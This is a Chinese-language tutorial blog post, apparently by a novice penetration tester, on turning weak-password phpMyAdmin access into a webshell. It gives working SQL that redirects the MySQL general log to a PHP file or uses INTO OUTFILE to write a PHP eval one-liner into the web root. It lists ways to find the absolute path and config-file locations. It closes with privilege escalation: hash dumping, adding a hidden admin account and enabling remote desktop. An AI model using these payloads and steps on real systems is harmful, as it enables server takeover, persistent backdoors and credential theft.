X1# 前言:
本小白总结了一下phpmyadmin后台拿webshell的方法,分为两大块:
(1) 、通过日志文件拿webshell;
(2) 、利用日志文件写入一句话;(这个方法可能在实际操作中会遇到困难);
X2# 本地搭建环境:
Phpmystudy 2018
PHP--5.538
一、日志文件写入一句话来获取webshell:
(1) 、首先我们先利用日志文件写入一句话来获取webshell,日志文件写入的思路利用mysql的一个日志文件。我们执行的每一个sql语句都会被保存到日志中,换个思路想一下把这个日志文件重名为*.php,然后我们在执行一次sql语句,那么就会被保存在这个*.php文件中,这样我们就能顺利拿到webshell。
(2) 、假如通过某个方法获取到phpmyadmin的登陆后台且账号密码是弱口令:
(3)、点击变量选项,搜索gen就会出来general.log和general log file这两个变量,general.log变量是指是否启动记录日志;而general log file指的是日志文件的路径,可以看到general.log变量的状态为OFF,故我们要修改为ON;general log file变量中的*.log的后缀我们改为*php。拿完webshell记得要改回去哟。SQL语句进行修改:
set global general_log = “ON”; 日记保存状态开启;
SET global general_log_file=’c:/phpStudy/phpstudy/PHPTutorial/WWW/shell.php’ 修改日记的保存位。(具体路径还需在实际环境中改变);
(4)保存后,我们在SQL查询的框中写入select "<?php eval($_POST['hacker']);?>",执行完毕后就会出现这个界面,这样的话我们就成功的把一句话写入到日志文件中:
(5)、查看网站目录下生成了一个shell.php的文件,一句话木马已经被我们写入,看到这里大家可能会问为什么里面不是纯净的一句话木马?我也百思不得其解,百度了一下发现是我们是上传的php一句话木马,在连接过程中,它是从头开始读取的,因为前面的不具备php文件的特征:
(6)、用菜刀直接连接木马地址,webshell成功拿到:
http://127.0.0.1/shell.php127.0.0.1二、利用插入一句话来提取webshell:
1、在知道路径的前提下插入一句话,
我们在插入一句话木马的时候首先要检测插入的条件是否被允许,输入查询语句show global variables like '%secure%';显示是NULL值,这样的情况下我们插入一句话是无法插入的,需要我们修改secure_file_priv=’’为空值才能插入一句话:
解释一下:
secure_file_priv为null 表示不允许导入导出;
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹;
secure_file_priv没有设置时,则表示没有任何限制;
执行插入语句,发现无法插入一句话木马:
如果要解决这个问题,我们可以通过下面2种方式:将你要导入或导出的文件位置指定到你设置的路径里;由于不能动态修改,我们可以修改my.cnf里关于这个选项的配置,然后重启即可。
(1)、当我们把上面的障碍扫平之后,接下来就比较简单,我们可以这样写:select '<?php @eval($_POST[cmdback])?>'INTO OUTFILE 'E:/phpstudy/PHPTutorial/WWW/cmd.php',意思就是在目录下会生成一个cmd.php的文件,我们用菜刀直接连接这个文件地址就可以直接拿到webshell:
(2)、我们用菜刀直接连接http://127.0.0.1/cmd.php就可以成功拿到服务器webshell:
2、在不知道绝对路径的前提下拿webshell:
这个方法几乎和我们做灰盒测试差不多,只拿到了登陆后台,但是不知道网站的绝对路径,这就非常尴尬,下面我总结了一下几点可以成功爆出网站的根路径:
(1)、SQL查询框中输入select @@basedir;就可以成功的输出绝对路径,这是利用了mysql的特性;(这个比较常用,毕竟是mysql的特性)
(2)、直接在url后面输入phpinfo.php,看看能不能读出这个文件,如果存在就会把网站的绝对路径显示出来,这样的情况特少,因为网站管理人员不可能把这个测试页面在互联网上面直接显示出来,他们或许会更改路径或许会设置目录访问权限;
(3)、使用扫描工具对网站进行扫扫描;扫描一些phpinfo.php info.php php.php test.php等等;
(4)、phpmyadmin读取 iis6,iis7配置文件 读取apache Nginx 配置文件!
windows2003 iis6配置文件所在位置C:Windows/system32inetsrvmetabase.xml
win2008/2012 iis7.5 在这个文件C:WindowsSystem32inetsrvconfigapplicationHost.config
Nginx配置 /etc/nginx/conf.d/vhost.conf /usr/local/etc/nginx/nginx.conf
apache配置:/etc/httpd/conf/httpd.conf /usr/local/apache2/conf/httpd.conf
以上4点就是本小白总结的一些在不知道路径的前提下怎么进行爆路径,下面我就用第一种方法来本地测试一下拿服务器的webshell:
首先我们输入select @@basedir;成功的返回网站根目录的路径:
既让拿到了网站根目录那我们就直接插入一句话到网站的目录下select '<?php @eval($_POST[cmdback])?>'INTO OUTFILE 'E:/phpstudy/PHPTutorial/WWW/back.php',在网站根目录下会生成一个back.php文件:
菜刀直接连接http://127.0.0.1/back.php就可以成功拿到服务器webshell:
X4# 提权
提权的部分写的比较简单,还望各位包涵,等有时间会单拉一篇文章进行分享小白的提权之路。
1、上传抓取hash密码的工具,成功抓取到管理员密码:
2、在虚拟终端添加测试账号test$,并将用户添加到管理员组:
3、经查询主机未开启3389远程登陆功能,故上传开启3389的bat文件进行开启:
3、成功连接服务器,由于本机administrator没有设置密码,故只是拿自己的登陆名称进行测试,在实际站点测试的时候一般都有管理员密码,只不过有的服务器的登陆用户名会修改(遇到的情况有的特别变态,比如端口修改、用户名修改、防护软件等):
总结:
其实最后的提权并不是这么轻松,需要过许多防护,具体情况还需要自己去随机应变,总之这条路行不通,我们可以寻找新的道路,万变不离其宗,渗透测试就是搞心理战的过程,只有亲身去做,才会体会到其中的神秘,说了这么多有什么不足之处或者不妥之处,烦请大佬们指点。